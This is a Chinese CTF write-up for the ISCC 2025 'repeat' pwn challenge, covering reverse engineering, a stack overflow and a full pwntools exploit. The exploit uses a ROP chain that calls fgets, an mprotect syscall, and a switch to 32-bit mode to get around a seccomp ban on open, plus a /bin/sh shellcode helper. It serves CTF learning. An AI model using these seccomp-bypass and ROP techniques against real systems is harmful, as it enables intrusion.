ISCC2025-擂台赛-repeat重做wp

最近为了国赛回来打打ctf复习一下,然后在回顾iscc的过程中发现这道题还是可圈可点的,所以来补充一下详细的wp

应该算是这次iscc最麻烦的一道pwn题,主要难点是对题目意图的理解,以及对于刁钻的输入环境如何用特殊的gadget顺利调用函数

逆向

由于静态链接且去了符号表,可以先用finger恢复一轮符号表,这样大多数常见库函数的符号就都能恢复了

主函数中finger不能识别的符号里

image-20251212000813403

这里因为 setvbuf,以及输入函数的一些传参,可以断定是 stdin 和 stdout

image-20251212000908686

这个东西根据传参是stdout,且在main结束时也有调用,判断是 fflush

image-20251212001011221

这个函数里面有 prctl 调用,不难看出是 sandbox 函数

接着来到菜单逻辑

case1

不难看出这里应该是对两个缓冲区进行某些操作,一个是图中的 tmpBuf 长0x100,一个是 mainBuf 长0x6408(IDA的栈帧结构没有识别正确,但是无所谓,不影响)
这里是向 tmpBuf 里输入了最长0x100长度的字串,然后传递到了 sub_401e10 里进行操作,跟进一下

进来就能看到很扎眼的复杂的取值方式,肯定是有结构体
根据多次对 *(a1+25600) 的取值,不难看出这个位置应该有一个特殊的字段

结合这里的判断是否大于 99 也能猜到应该是某种计数器image-20251212001603884

image-20251212001827046

紧接着,通过这种取指针方式也能看出来这个大buf内部应该是切割为若干个 0x100 大小的小空间的
所以可以得出这样的结构体

image-20251212002204397

image-20251212002350299

现在不难看出,这个分支1的调用函数其实就是把输入的内容复制到大号buf内的数据块中

case2

这个分支的内部逻辑在IDA里看起来会很抽象,这里总结一下

首先是会调用一个image-20251212002641314

这个函数实际上就是对所有数据块的顺序进行洗牌,而且它实际上就是case5

image-20251212002733555

这个函数算是这个题的主要难点之一:

理论上讲,这里是写了 srandom(1825)的,随机种子固定,应该说是彻底的伪随机,所以按理说洗牌的规则应该是完全固定的,但实际打题时会发现洗牌规则会发现神奇的变化,经过我的测试,最终发现好像是和脚本的交互写法有关,比如:

for i in range(40):
if i == 39:
sla("\xf0\x9f\xa4\x97", str(1))
sl(asciiTab[i]*0x80)
else:
sla("\xf0\x9f\xa4\x97", str(1))
sl(asciiTab[i]*0x80)

for i in range(40):
sla("\xf0\x9f\xa4\x97", str(1))
sl(asciiTab[i]*0x80)

这两种写法最终的洗牌情况是完全不同的,就很神奇

我对随机数的了解不是很清晰,我猜测可能是因为 脚本中有无 if 分支导致完成这次交互的时间有所差别,导致随机数生成结果有所差别
纯瞎猜,真正原因希望有大佬可以解答

那么解决方法其实也不是很复杂,就是顺着这种神奇的玄学现象去做

payload = []
for i in range(40):
if asciiTab[i] == '*':
payload.append(asciiTab[i]*0xf0)
else:
payload.append(asciiTab[i]*0xf0)
success("[>>] payload OK")

for i in range(40):
add(payload[i])

即先生成payload,然后一次性发送,如果是按照我这种写法的话,最终落在一会的返回地址区域内的会是这个部分

#xjoiacz6Bdpy1uml2k5hrv

这样就可以稳定控制payload洗牌后的顺序了

解释完洗牌问题后我们来看漏洞

外层的函数我也不是很想在wp里仔细分析,就解释几个影响payload构造的点

image-20251212004423772

首先外面的逻辑其实就是对内容的复制,可以看到这个函数是有一个缓冲区的

空间是0x1000,但复制的逻辑是遍历 所有 数据块,并将 有效部分 全部 复制到这个缓冲区内,前面也看到了,所有数据块的大小是0x6400,所以这里肯定是可以栈溢出的

但是会碰到几个阻碍,其一是刚才解释过的洗牌问题
第二则是这个复制数据块内容的细节

image-20251212004459194

这里可以看到,它是对每个数据块的首字节进行检查,要求不是 0x10/0,否则会直接略过这次复制,造成我们payload内容的丢失
(另外我印象中当时比赛时我实际测试的是说只要小于0x10都会出问题来着,这次重做没仔细试,感兴趣的师傅可以自己试下)

到这里就能看出payload的构造要求了:1. 每个数据块只能承担一块payload(一个8字节地址);2. payload中不能出现最低字节为0x10/0的情况

到这里其实就可以做题了,case1输入payload,case2触发栈溢出。当时比赛时我也是直接没看后面三个分支的,这次看了下,发现那三个分支也确实是没啥用,这里简单写下吧

case3
删除分支

image-20251212005031294

删除方式是删除点后方数据块向前覆盖,计数器减1,因为计数器有严格检查,所以应该没有利用空间

case4
对换分支
输入两个索引数,然后调换他们的位置,同样有严格检查,应该也没有数组越界一类的利用手段

case5就是case2里用的那个函数,不说了

打法

剩下的就是怎样构造rop链了,首先肯定是要先调用一个读入函数,用正常的写入手段去写正常的rop链,不然要去搞orw是很麻烦的

这种情况其实就是去找一些更对策性的gadget,因为不会用ropper,所以我一般是直接 ROPgadget 获取所有gadget,然后在sublime里搜索

先整理下需求:
需要调用 fgets(<选一个合适buf>, <合法长度>, stdin)
且地址中不能出现 0x10/0x00

现有寄存器里基本上也没有利用空间

因为是静态链接,所以像 pop ret 这种通用 gadget 还是很全的,所以主要麻烦的点在于怎么把 rdx 搞成 0x4ec600
我的思路是先给rdx pop一个没有0x10/0x00的值,然后用带有 add rdx, ... 的gadget将rdx加成 0x4ec600,我是找到了这条gadget

因为有 pop rax; ret ,且固定地址的bss段上有很多离0x4ec600很近的地址,所以可以把rax控到 &\<addr1\> - 0x10,rdx控制为 stdin - addr1,再用这条 gadget 就可以了

rax的取值:image-20251212011034330image-20251212011044430

elif asciiTab[i] == 'j':
payload.append(p64(pop_rax))
elif asciiTab[i] == 'o':
payload.append(p64(0x4ec020))
elif asciiTab[i] == 'i':
payload.append(p64(pop_rdx_rbx))
elif asciiTab[i] == 'a':
payload.append(p64(0x92660))
elif asciiTab[i] == 'c':
payload.append(p64(0xdeadbeef))
elif asciiTab[i] == 'z':
payload.append(p64(add_rdx_))

rdx搞定

剩下两个参数直接 pop 就可以了image-20251212011258641

然后调用 fgets,后面再放一个 pop rsp,让 fgets 返回时继续执行 这次输入的rop链

image-20251212011400560

最后就是怎么获取flag
题目把 open 和 openat 都ban了,但是没ban 32位执行,所以可以转换32位执行模式进行open
那肯定还是得先mportect
但是这样一来又有问题了:mprotect需要的 rax = 10 正好是 fgets 的结束符 \n,所以 rax 也需要找gadget去控制

这里插一句:写wp的时候忽然想到好像直接调用elf里的 mprotect 函数就行了,不过似乎是要找mprotect函数在哪的,看wp的师傅可以参考下这个改进方案

因为这里我发现执行fgets后,r10正好就是10,所以可以用这个 mov rax, r10 image-20251212012040805

其他参数正常传递即可,为图方便可以直接将这次输入所在的内存段设置为rwx,这样的话在这次输入里写shellcode就可以了

image-20251212012233315

后面的打shellcode过程就略过了

完整EXP:

'''
pwn_attack_ink
'''

import sys
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './repeat'
libc = './libc.so.6'
# host, port = ":".split(":")

print(('\033[31;40mremote\033[0m: (r)\n'
'\033[32;40mprocess\033[0m: (p)'))

bpt = [
"*0x401b47",#menu
"*0x401b8e",#case5
"*0x402140",#case2
"*0x4021f5",#case2-fputs
"*0x40216e",#case2-random
"*0x401c08",#call case3
]

if sys.argv[1] == 'r':
r = remote(host, int(port))
elif sys.argv[1] == 'p':
r = process(binary)
elif sys.argv[1] == 'pg':
r = process(binary)
gdb.attach(r, gdbscript=f"""
b {bpt[3]}
""")
default = 1
sd = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rv = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
uuntil = lambda data, count=-6 : uu64(ru(data)[count:])
padding = lambda length, filler=0 : b'ink' * (length // 3) + b'I' * (length % 3) if filler == 0 else filler * length
cyc = lambda length : cyclic(length)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
short_sc= lambda bits=64 : b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' if bits==64 else b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

asciiTab = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST'
syscall_ret = 0x423f96

def add(data_chunk):
sla(b"\xf0\x9f\xa4\x97", str(1))
sla("\xf0\x9f\x98\x99", data_chunk)
def delete(i):
sla(b"\xf0\x9f\xa4\x97", str(3))
sl(str(i))
def show():
sla(b"\xf0\x9f\xa4\x97", str(2))

payload = []

mov_raxrdi = 0x455559 #mov rax, rdi
nop_eax_j403313 = 0x403403

pop_rsi = 0x40aa3e
pop_rdx_rbx = 0x4aa5ab
pop_rax = 0x000000000045ffa7 #: pop rax ; ret
pop_rdi = 0x00000000004029cf
pop_rsp = 0x0000000000402e2e
stdin_on_addr = 0x4ec600
fgets_addr = 0x41AF50
add_rdx_ = 0x00000000004ad034 #: add rdx, qword ptr [rax + 0x10] ; mov qword ptr [rsi + 0x18], rdx ; ret
mov_raxr10_rsp0x28 = 0x00000000004ad0fa #: mov rax, r10 ; add rsp, 0x28 ; ret

for i in range(40):
if asciiTab[i] == '*':
payload.append(asciiTab[i]*0xf0)
if asciiTab[i] == 'x':
payload.append(asciiTab[i]*0x18)
elif asciiTab[i] == 'j':
payload.append(p64(pop_rax))
elif asciiTab[i] == 'o':
payload.append(p64(0x4ec020))
elif asciiTab[i] == 'i':
payload.append(p64(pop_rdx_rbx))
elif asciiTab[i] == 'a':
payload.append(p64(0x92660))
elif asciiTab[i] == 'c':
payload.append(p64(0xdeadbeef))
elif asciiTab[i] == 'z':
payload.append(p64(add_rdx_))
elif asciiTab[i] == '6':
payload.append(p64(pop_rsi))
elif asciiTab[i] == 'B':
payload.append(p64(0x550))
elif asciiTab[i] == 'd':
payload.append(p64(pop_rdi))
elif asciiTab[i] == 'p':
payload.append(p64(0x4ef020))
elif asciiTab[i] == 'y':
payload.append(p64(fgets_addr))
elif asciiTab[i] == '1':
payload.append(p64(pop_rsp))
elif asciiTab[i] == 'u':
payload.append(p64(0x4ef020))
else:
payload.append(asciiTab[i]*0xf0)
success("[>>] payload OK")

for i in range(40):
add(payload[i])

show()
#xjoiacz6Bdpy1uml2k5hrv

pause()
payload2 = p64(pop_rdi) + p64(0x4ef000) + p64(mov_raxr10_rsp0x28) + p64(0xdeadbeef)*5 + p64(pop_rsi) + p64(0x1000)
payload2 += p64(pop_rdx_rbx) + p64(7)*2 + p64(syscall_ret)
payload2 += p64(0x4ef020+len(payload2)+8)
payload2 += asm("""
mov rax, 0x23;
push rax;
mov rbx, 0x4ef0aa;
push rbx;
retfq;
""") + asm("""
push 0x67;
push 0x616c662f;
mov ebx, esp;
xor ecx, ecx;
xor edx, edx;
mov eax, 5;
int 0x80;
push 0x33;
push 0x4ef0c6;
retf;
""", arch = "i386", bits = 32) + asm("""
mov rdi, 1;
mov rsi, rax;
mov rdx, 0;
mov r10, 0x50
mov rax, 40;
syscall;
""")

sl(payload2)

it()

 

posted @ 2025-12-12 22:52  ink777  阅读(4)  评论(0)    收藏  举报